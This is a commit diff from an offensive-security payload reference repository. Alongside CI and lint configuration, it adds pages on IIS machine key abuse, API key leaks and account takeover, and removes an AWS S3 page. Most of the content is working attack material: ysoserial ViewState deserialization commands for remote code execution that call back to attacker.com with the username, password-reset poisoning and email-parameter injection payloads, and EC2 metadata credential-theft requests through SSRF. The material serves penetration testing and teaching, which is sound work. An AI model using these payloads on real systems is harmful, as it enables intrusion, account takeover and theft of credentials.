PDO Prepared Statements

Update README.md

.github/.markdownlint.json

@@ -0,0 +1,11 @@
+{
+    "default": true,
+    "MD013": false,
+    "MD033": false,
+    "no-duplicate-heading": {
+      "siblings_only": true
+    },
+    "ul-indent": {
+      "indent": 4
+    }
+}

.github/FUNDING.yml

@@ -0,0 +1,4 @@
+# These are supported funding model platforms
+github: swisskyrepo
+ko_fi: swissky
+custom: https://www.buymeacoffee.com/swissky

.github/overrides/main.html

@@ -0,0 +1,28 @@
+{% extends "base.html" %}
+
+{% block content %}
+	{{ super() }}
+  <div class="social-container">
+    <b>Share this content</b>
+    <div class="a2a_kit a2a_kit_size_32 a2a_default_style">
+      <a class="a2a_dd" href="https://www.addtoany.com/share"></a>
+      <a class="a2a_button_x"></a>
+      <a class="a2a_button_telegram"></a>
+      <a class="a2a_button_linkedin"></a>
+      <a class="a2a_button_email"></a>
+      <a class="a2a_button_microsoft_teams"></a>
+    </div>
+    <br>
+    <script async src="https://static.addtoany.com/menu/page.js"></script>
+    <script defer src="https://cloud.umami.is/script.js" data-website-id="82be5164-e1f3-4cb0-bd22-20e02086d3d4"></script>
+  </div>
+{% endblock %}
+
+{% block styles %}
+	{{ super() }}
+  <style>
+  .social-container {
+    float: right;
+  }
+  </style>
+{% endblock %}

.github/workflows/check-markdown.yml

@@ -0,0 +1,23 @@
+name: check-markdown
+on: [push, pull_request]
+
+jobs:
+  lint:
+    runs-on: ubuntu-latest
+    steps:
+    - uses: actions/checkout@v4
+      with:
+        fetch-depth: 0
+
+    - uses: tj-actions/changed-files@v45
+      id: changed-files
+      with:
+        files: '**/*.md'
+        separator: ","
+        
+    - uses: DavidAnson/markdownlint-cli2-action@v17
+      if: steps.changed-files.outputs.any_changed == 'true'
+      with:
+        globs: ${{ steps.changed-files.outputs.all_changed_files }}
+        separator: ","
+        config: ./.github/.markdownlint.json

.github/workflows/mkdocs-build.yml

@@ -0,0 +1,35 @@
+name: mkdocs-build 
+on:
+  push:
+    branches:
+      - master
+
+jobs:
+  deploy:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v2
+        with:
+          submodules: recursive
+
+      # Checks-out submodules
+      - uses: actions/checkout@v2
+      - name: Checkout submodules
+        shell: bash
+        run: |
+          git config --global user.email "no-reply@github.com"
+          git config --global user.name "Swk"
+          git config --global pull.rebase false
+          git submodule add https://github.com/swisskyrepo/PayloadsAllTheThings/ docs
+          mv docs/.github/overrides .
+
+      - uses: actions/setup-python@v2
+        with:
+          python-version: 3.x
+      - run: pip install mkdocs-material
+      - run: pip install mkdocs-git-revision-date-localized-plugin
+      - run: pip install mkdocs-git-committers-plugin
+      - run: pip install mkdocs-material[imaging]
+      - run: pip install mdx_truly_sane_lists
+      - run: mkdocs gh-deploy --force
+

.gitignore

@@ -1,4 +1,3 @@
 BuildPDF/
 .vscode
 .todo
-AWS Amazon Lambda/

API Key Leaks/IIS-Machine-Keys.md

@@ -0,0 +1,197 @@
+# IIS Machine Keys
+
+> That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
+
+## Summary
+
+* [Viewstate Format](#viewstate-format)
+* [Machine Key Format And Locations](#machine-key-format-and-locations)
+* [Identify Known Machine Key](#identify-known-machine-key)
+* [Decode ViewState](#decode-viewstate)
+* [Generate ViewState For RCE](#generate-viewstate-for-rce)
+    * [MAC Is Not Enabled](#mac-is-not-enabled)
+    * [MAC Is Enabled And Encryption Is Disabled](#mac-is-enabled-and-encryption-is-disabled)
+    * [MAC Is Enabled And Encryption Is Enabled](#mac-is-enabled-and-encryption-is-enabled)
+* [Edit Cookies With The Machine Key](#edit-cookies-with-the-machine-key)
+* [References](#references)
+
+## Viewstate Format
+
+ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.
+
+| Format | Properties |
+| --- | --- |
+| Base64 | `EnableViewStateMac=False`,  `ViewStateEncryptionMode=False` |
+| Base64 + MAC | `EnableViewStateMac=True` |
+| Base64 + Encrypted | `ViewStateEncryptionMode=True` |
+
+By default until Sept 2014, the `enableViewStateMac` property was to set to `False`.
+Usually unencrypted viewstate are starting with the string `/wEP`.
+
+## Machine Key Format And Locations
+
+A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.
+
+The format of a machineKey is the following.
+
+```xml
+<machineKey validationKey="[String]"  decryptionKey="[String]" validation="[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]"  decryption="[Auto (default) | DES | 3DES | AES | alg:algorithm_name]" />
+```
+
+The `validationKey` attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.
+
+The `decryptionKey` attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.
+
+The `validation` attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.
+
+The `decryption` attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using alg:algorithm_name.
+
+The following example of a machineKey is from [Microsoft documentation](https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication).
+
+```xml
+<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
+```
+
+Common locations of **web.config** / **machine.config**
+
+* 32-bits
+    * `C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config`
+    * `C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config`
+* 64-bits
+    * `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config`
+    * `C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config`
+* in the registry when **AutoGenerate** is enabled (extract with [irsdl/machineKeyFinder.aspx](https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab))
+    * `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4`  
+    * `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey`
+
+## Identify Known Machine Key
+
+Try multiple machine keys from known products, Microsoft documentation, or other part of the Internet.
+
+* [isclayton/viewstalker](https://github.com/isclayton/viewstalker)
+
+    ```powershell
+    ./viewstalker --viewstate /wEPD...TYQ== -m 3E92B2D6 -M ./MachineKeys2.txt
+    ____   ____.__                       __         .__   __
+    \   \ /   /|__| ______  _  _________/  |______  |  | |  | __ ___________ 
+    \   Y   / |  |/ __ \ \/ \/ /  ___/\   __\__  \ |  | |  |/ // __ \_  __ \
+    \     /  |  \  ___/\     /\___ \  |  |  / __ \|  |_|    <\  ___/|  | \/
+    \___/   |__|\___  >\/\_//____  > |__| (____  /____/__|_ \\___  >__|   
+                    \/           \/            \/          \/    \/       
+
+    KEY FOUND!!!
+    Host:   
+    Validation Key: XXXXX,XXXXX
+    ```
+
+* [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets)
+
+    ```ps1
+    python examples/blacklist3r.py --viewstate /wEPDwUK...j81TYQ== --generator 3E92B2D6
+    Matching MachineKeys found!
+    validationKey: C50B3C89CB21F4F1422FF158A5B42D0E8DB8CB5CDA1742572A487D9401E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE validationAlgo: SHA1
+    ```
+
+* [NotSoSecure/Blacklist3r](https://github.com/NotSoSecure/Blacklist3r)
+
+    ```powershell
+    AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate  --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
+    ```
+
+* [0xacb/viewgen](https://github.com/0xacb/viewgen)
+
+    ```powershell
+    $ viewgen --guess "/wEPDwUKMTYyOD...WRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
+    [+] ViewState is not encrypted
+    [+] Signature algorithm: SHA1
+    ```
+
+List of interesting machine keys to use:
+
+* [NotSoSecure/Blacklist3r/MachineKeys.txt](https://github.com/NotSoSecure/Blacklist3r/raw/f10304bc90efaca56676362a981d93cc312d9087/MachineKey/AspDotNetWrapper/AspDotNetWrapper/Resource/MachineKeys.txt)
+* [isclayton/viewstalker/MachineKeys2.txt](https://raw.githubusercontent.com/isclayton/viewstalker/main/MachineKeys2.txt)
+* [blacklanternsecurity/badsecrets/aspnet_machinekeys.txt](https://raw.githubusercontent.com/blacklanternsecurity/badsecrets/dev/badsecrets/resources/aspnet_machinekeys.txt)
+
+## Decode ViewState
+
+* [BApp Store > ViewState Editor](https://portswigger.net/bappstore/ba17d9fb487448b48368c22cb70048dc) - ViewState Editor is an extension that allows you to view and edit the structure and contents of V1.1 and V2.0 ASP view state data.
+* [0xacb/viewgen](https://github.com/0xacb/viewgen)
+
+    ```powershell
+    viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
+    ```
+
+## Generate ViewState For RCE
+
+First you need to decode the Viewstate to know if the MAC and the encryption are enabled.
+
+**Requirements**:
+
+* `__VIEWSTATE`
+* `__VIEWSTATEGENERATOR`
+
+### MAC Is Not Enabled
+
+```ps1
+ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"
+```
+
+### MAC Is Enabled And Encryption Is Disabled
+
+* Find the machine key (validationkey) using `badsecrets`, `viewstalker`, `AspDotNetWrapper.exe` or `viewgen`
+
+    ```ps1
+    AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate  --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
+    # --modifier = `__VIEWSTATEGENERATOR` parameter value
+    # --encrypteddata = `__VIEWSTATE` parameter value of the target application
+    ```
+
+* Then generate a ViewState using [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net), both `TextFormattingRunProperties` and `TypeConfuseDelegate` gadgets can be used.
+
+    ```ps1
+    .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
+    .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe -c nslookup http://attacker.com" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
+
+    # --generator = `__VIEWSTATEGENERATOR` parameter value
+    # --validationkey = validation key from the previous command
+    ```
+
+### MAC Is Enabled And Encryption Is Enabled
+
+Default validation algorithm is `HMACSHA256` and the default decryption algorithm is `AES`.
+
+If the `__VIEWSTATEGENERATOR` is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: `--apppath="/testaspx/"`).
+
+* **.NET Framework < 4.5**, ASP.NET always accepts an unencrypted `__VIEWSTATE` if you remove the `__VIEWSTATEENCRYPTED` parameter from the request
+
+    ```ps1
+    .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
+    ```
+
+* **.NET Framework > 4.5**, the machineKey has the property: `compatibilityMode="Framework45"`
+
+    ```ps1
+    .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
+    ```
+
+## Edit Cookies With The Machine Key
+
+If you have the `machineKey` but the viewstate is disabled.
+
+ASP.net Forms Authentication Cookies : [liquidsec/aspnetCryptTools](https://github.com/liquidsec/aspnetCryptTools)
+
+```powershell
+# decrypt cookie
+$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
+
+# encrypt cookie (edit Decrypted.txt)
+$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
+```
+
+## References
+
+* [Deep Dive into .NET ViewState Deserialization and Its Exploitation - Swapneil Kumar Dash - October 22, 2019](https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
+* [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili - April 23, 2019](https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
+* [Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - Claranet - June 13, 2019](https://www.claranet.com/us/blog/2019-06-13-exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserialnet)
+* [Project Blacklist3r - @notsosecure - November 23, 2018](https://www.notsosecure.com/project-blacklist3r/)
+* [View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024](https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/)

API Key Leaks/README.md

@@ -0,0 +1,107 @@
+# API Key and Token Leaks
+
+> API keys and tokens are forms of authentication commonly used to manage permissions and access to both public and private services. Leaking these sensitive pieces of data can lead to unauthorized access, compromised security, and potential data breaches.
+
+## Summary
+
+- [Tools](#tools)
+- [Methodology](#methodology)
+    - [Common Causes of Leaks](#common-causes-of-leaks)
+    - [Validate The API Key](#validate-the-api-key)
+- [Reducing The Attack Surface](#reducing-the-attack-surface)
+- [References](#references)
+
+## Tools
+
+- [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets
+- [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms
+- [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens
+- [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
+- [momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder) - is a tool that let you find keys while surfing the web
+- [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid
+- [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place
+- [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints
+
+    ```powershell
+    nuclei -t token-spray/ -var token=token_list.txt
+    ```
+
+## Methodology
+
+- **API Keys**: Unique identifiers used to authenticate requests associated with your project or application.
+- **Tokens**: Security tokens (like OAuth tokens) that grant access to protected resources.
+
+### Common Causes of Leaks
+
+- **Hardcoding in Source Code**: Developers may unintentionally leave API keys or tokens directly in the source code.
+
+    ```py
+    # Example of hardcoded API key
+    api_key = "1234567890abcdef"
+    ```
+
+- **Public Repositories**: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.
+
+    ```ps1
+    ## Scan a Github Organization
+    docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
+    
+    ## Scan a GitHub Repository, its Issues and Pull Requests
+    docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments
+    ```
+
+- **Hardcoding in Docker Images**: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.
+
+    ```ps1
+    # Scan a Docker image for verified secrets
+    docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets
+    ```
+
+- **Logs and Debug Information**: Keys and tokens might be inadvertently logged or printed during debugging processes.
+
+- **Configuration Files**: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).
+
+### Validate The API Key
+
+If assistance is needed in identifying the service that generated the token, [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) can be consulted. It is the largest open-source database for detecting secrets, API keys, passwords, tokens, and more. This database contains regex patterns for various secrets.
+
+```yaml
+patterns:
+  - pattern:
+      name: AWS API Gateway
+      regex: '[0-9a-z]+.execute-api.[0-9a-z._-]+.amazonaws.com'
+      confidence: low
+  - pattern:
+      name: AWS API Key
+      regex: AKIA[0-9A-Z]{16}
+      confidence: high
+```
+
+Use [streaak/keyhacks](https://github.com/streaak/keyhacks) or read the documentation of the service to find a quick way to verify the validity of an API key.
+
+- **Example**: Telegram Bot API Token
+
+    ```ps1
+    curl https://api.telegram.org/bot<TOKEN>/getMe
+    ```
+
+## Reducing The Attack Surface
+
+Check the existence of a private key or AWS credentials before commiting your changes in a GitHub repository.
+
+Add these lines to your `.pre-commit-config.yaml` file.
+
+```yml
+-   repo: https://github.com/pre-commit/pre-commit-hooks
+    rev: v3.2.0
+    hooks:
+    -   id: detect-aws-credentials
+    -   id: detect-private-key
+```
+
+## References
+
+- [Finding Hidden API Keys & How to Use Them - Sumit Jain - August 24, 2019](https://web.archive.org/web/20191012175520/https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
+- [Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024](https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)
+- [Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018](https://hackerone.com/reports/376060)
+- [Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)

AWS Amazon Bucket S3/README.md

@@ -1,222 +0,0 @@
-# Amazon Bucket S3 AWS
-
-## Summary
-
-- [Tools](#tools)
-- [AWS Configuration](#aws-configuration)
-- [Open Bucket](#open-bucket)
-- [Basic tests](#basic-tests)
-	- [Listing files](#listing-files)
-	- [Move a file into the bucket](move-a-file-into-the-bucket)
-	- [Download every things](#download-every-things)
-	- [Check bucket disk size](#check-bucket-disk-size)
-- [AWS - Extract Backup](#aws---extract-backup)
-- [Bucket juicy data](#bucket-juicy-data)
-
-## Tools
-
-- [Pacu - The AWS exploitation framework, designed for testing the security of Amazon Web Services environments](https://github.com/RhinoSecurityLabs/pacu)
-- [Bucket Finder - Search for readable buckets and list all the files in them](https://digi.ninja/)
-	```powershell
-	wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
-	./bucket_finder.rb my_words
-	./bucket_finder.rb --region ie my_words
-		US Standard         = http://s3.amazonaws.com
-		Ireland             = http://s3-eu-west-1.amazonaws.com
-		Northern California = http://s3-us-west-1.amazonaws.com
-		Singapore           = http://s3-ap-southeast-1.amazonaws.com
-		Tokyo               = http://s3-ap-northeast-1.amazonaws.com
-
-	./bucket_finder.rb --download --region ie my_words
-	./bucket_finder.rb --log-file bucket.out my_words
-	```
-- [Boto3 - Amazon Web Services (AWS) SDK for Python](https://boto3.amazonaws.com/v1/documentation/api/latest/index.html)
-	```python
-	import boto3
-	# Create an S3 client
-	s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP3RKREDACTED',aws_secret_access_key='igH8yFmmpMbnkcUaCqXJIRIozKVaREDACTED',region_name='us-west-1')
-
-	try:
-		result = s3.list_buckets()
-		print(result)
-	except Exception as e:
-		print(e)
-	```
-
-## AWS Configuration
-
-Prerequisites, at least you need awscli
-
-```bash
-sudo apt install awscli
-```
-
-You can get your credential here https://console.aws.amazon.com/iam/home?#/security_credential
-but you need an aws account, free tier account : https://aws.amazon.com/s/dm/optimization/server-side-test/free-tier/free_np/
-
-```javascript
-aws configure
-AWSAccessKeyId=[ENTER HERE YOUR KEY]
-AWSSecretKey=[ENTER HERE YOUR KEY]
-```
-
-```javascript
-aws configure --profile nameofprofile
-```
-
-then you can use *--profile nameofprofile* in the aws command.
-
-Alternatively you can use environment variables instead of creating a profile.
-
-```bash
-export AWS_ACCESS_KEY_ID=ASIAZ[...]PODP56
-export AWS_SECRET_ACCESS_KEY=fPk/Gya[...]4/j5bSuhDQ
-export AWS_SESSION_TOKEN=FQoGZXIvYXdzE[...]8aOK4QU=
-```
-
-## Open Bucket
-
-By default the name of Amazon Bucket are like http://s3.amazonaws.com/[bucket_name]/, you can browse open buckets if you know their names
-
-```bash
-http://s3.amazonaws.com/[bucket_name]/
-http://[bucket_name].s3.amazonaws.com/
-http://flaws.cloud.s3.amazonaws.com/
-```
-
-Their names are also listed if the listing is enabled.
-
-```xml
-<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
-<Name>adobe-REDACTED-REDACTED-REDACTED</Name>
-```
-
-Alternatively you can extract the name of inside-site s3 bucket with `%C0`. (Trick from https://twitter.com/0xmdv/status/1065581916437585920)
-
-```xml
-http://example.com/resources/id%C0
-
-eg: http://redacted/avatar/123%C0
-```
-
-## Basic tests
-
-### Listing files
-
-```bash
-aws s3 ls s3://targetbucket --no-sign-request --region insert-region-here
-aws s3 ls  s3://flaws.cloud/ --no-sign-request --region us-west-2
-```
-
-You can get the region with a dig and nslookup
-
-```bash
-$ dig flaws.cloud
-;; ANSWER SECTION:
-flaws.cloud.    5    IN    A    52.218.192.11
-
-$ nslookup 52.218.192.11
-Non-authoritative answer:
-11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com.
-```
-
-### Move a file into the bucket
-
-```bash
-aws s3 cp local.txt s3://some-bucket/remote.txt --acl authenticated-read
-aws s3 cp login.html s3://$bucketName --grants read=uri=http://acs.amazonaws.com/groups/global/AllUsers
-```
-
-```bash
-aws s3 mv test.txt s3://hackerone.marketing
-FAIL : "move failed: ./test.txt to s3://hackerone.marketing/test.txt A client error (AccessDenied) occurred when calling the PutObject operation: Access Denied."
-
-aws s3 mv test.txt s3://hackerone.files
-SUCCESS : "move: ./test.txt to s3://hackerone.files/test.txt"
-```
-
-### Download every things
-
-```powershell
-aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ . --no-sign-request --region us-west-2
-```
-
-### Check bucket disk size
-
-Use `--no-sign` for un-authenticated check.
-
-```powershell
-aws s3 ls s3://<bucketname> --recursive  | grep -v -E "(Bucket: |Prefix: |LastWriteTime|^$|--)" | awk 'BEGIN {total=0}{total+=$3}END{print total/1024/1024" MB"}'
-```
-
-## AWS - Extract Backup
-
-```powershell
-aws --profile flaws sts get-caller-identity
-"Account": "XXXX26262029",
-
-aws --profile flaws  ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2    
-"SnapshotId": "snap-XXXX342abd1bdcb89",
-
-Create a volume using snapshot
-aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-XXXX342abd1bdcb89
-In Aws Console -> EC2 -> New Ubuntu
-chmod 400 YOUR_KEY.pem
-ssh -i YOUR_KEY.pem  ubuntu@ec2-XXX-XXX-XXX-XXX.us-east-2.compute.amazonaws.com
-
-Mount the volume
-lsblk
-sudo file -s /dev/xvda1
-sudo mount /dev/xvda1 /mnt
-```
-
-## Bucket juicy data
-
-Amazon exposes an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :
-
-```powershell
-http://169.254.169.254/latest/meta-data/
-http://169.254.169.254/latest/user-data/
-http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE will return the AccessKeyID, SecretAccessKey, and Token
-http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
-```
-
-For example with a proxy : http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/
-
-
-## Enumerate IAM permissions
-
-Enumerate the permissions associated with AWS credential set with [enumerate-iam](https://github.com/andresriancho/enumerate-iam)
-
-```powershell
-git clone git@github.com:andresriancho/enumerate-iam.git
-cd enumerate-iam/
-pip install -r requirements.txt
-./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
-2019-05-10 15:57:58,447 - 21345 - [INFO] Starting permission enumeration for access-key-id "AKIA..."
-2019-05-10 15:58:01,532 - 21345 - [INFO] Run for the hills, get_account_authorization_details worked!
-2019-05-10 15:58:01,537 - 21345 - [INFO] -- {
-    "RoleDetailList": [
-        {
-            "Tags": [], 
-            "AssumeRolePolicyDocument": {
-                "Version": "2008-10-17", 
-                "Statement": [
-                    {
-...
-2019-05-10 15:58:26,709 - 21345 - [INFO] -- gamelift.list_builds() worked!
-2019-05-10 15:58:26,850 - 21345 - [INFO] -- cloudformation.list_stack_sets() worked!
-2019-05-10 15:58:26,982 - 21345 - [INFO] -- directconnect.describe_locations() worked!
-2019-05-10 15:58:27,021 - 21345 - [INFO] -- gamelift.describe_matchmaking_rule_sets() worked!
-2019-05-10 15:58:27,311 - 21345 - [INFO] -- sqs.list_queues() worked!
-```
-
-## References
-
-* [There's a Hole in 1,951 Amazon S3 Buckets - Mar 27, 2013 - Rapid7 willis](https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets)
-* [Bug Bounty Survey - AWS Basic test](https://twitter.com/bugbsurveys/status/859389553211297792)
-* [flaws.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws.cloud/)
-* [flaws2.cloud Challenge based on AWS vulnerabilities - by Scott Piper of Summit Route](http://flaws2.cloud)
-* [Guardzilla video camera hardcoded AWS credential - 0dayallday.org](https://www.0dayallday.org/guardzilla-video-camera-hard-coded-aws-credentials/)
-* [AWS PENETRATION TESTING PART 1. S3 BUCKETS - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-1-s3-buckets/)
-* [AWS PENETRATION TESTING PART 2. S3, IAM, EC2 - VirtueSecurity](https://www.virtuesecurity.com/aws-penetration-testing-part-2-s3-iam-ec2/)

Account Takeover/README.md

@@ -0,0 +1,187 @@
+# Account Takeover
+
+> Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.
+
+## Summary
+
+* [Password Reset Feature](#password-reset-feature)
+    * [Password Reset Token Leak via Referrer](#password-reset-token-leak-via-referrer)
+    * [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning)
+    * [Password Reset via Email Parameter](#password-reset-via-email-parameter)
+    * [IDOR on API Parameters](#idor-on-api-parameters)
+    * [Weak Password Reset Token](#weak-password-reset-token)
+    * [Leaking Password Reset Token](#leaking-password-reset-token)
+    * [Password Reset via Username Collision](#password-reset-via-username-collision)
+    * [Account Takeover Due To Unicode Normalization Issue](#account-takeover-due-to-unicode-normalization-issue)
+* [Account Takeover via Web Vulneralities](#account-takeover-via-web-vulneralities)
+    * [Account Takeover via Cross Site Scripting](#account-takeover-via-cross-site-scripting)
+    * [Account Takeover via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)
+    * [Account Takeover via CSRF](#account-takeover-via-csrf)
+* [References](#references)
+
+## Password Reset Feature
+
+### Password Reset Token Leak via Referrer
+
+1. Request password reset to your email address
+2. Click on the password reset link
+3. Don't change password
+4. Click any 3rd party websites(eg: Facebook, twitter)
+5. Intercept the request in Burp Suite proxy
+6. Check if the referer header is leaking password reset token.
+
+### Account Takeover Through Password Reset Poisoning
+
+1. Intercept the password reset request in Burp Suite
+2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
+3. Forward the request with the modified header
+
+    ```http
+    POST https://example.com/reset.php HTTP/1.1
+    Accept: */*
+    Content-Type: application/json
+    Host: attacker.com
+    ```
+
+4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`
+
+### Password Reset via Email Parameter
+
+```powershell
+# parameter pollution
+email=victim@mail.com&email=hacker@mail.com
+
+# array of emails
+{"email":["victim@mail.com","hacker@mail.com"]}
+
+# carbon copy
+email=victim@mail.com%0A%0Dcc:hacker@mail.com
+email=victim@mail.com%0A%0Dbcc:hacker@mail.com
+
+# separator
+email=victim@mail.com,hacker@mail.com
+email=victim@mail.com%20hacker@mail.com
+email=victim@mail.com|hacker@mail.com
+```
+
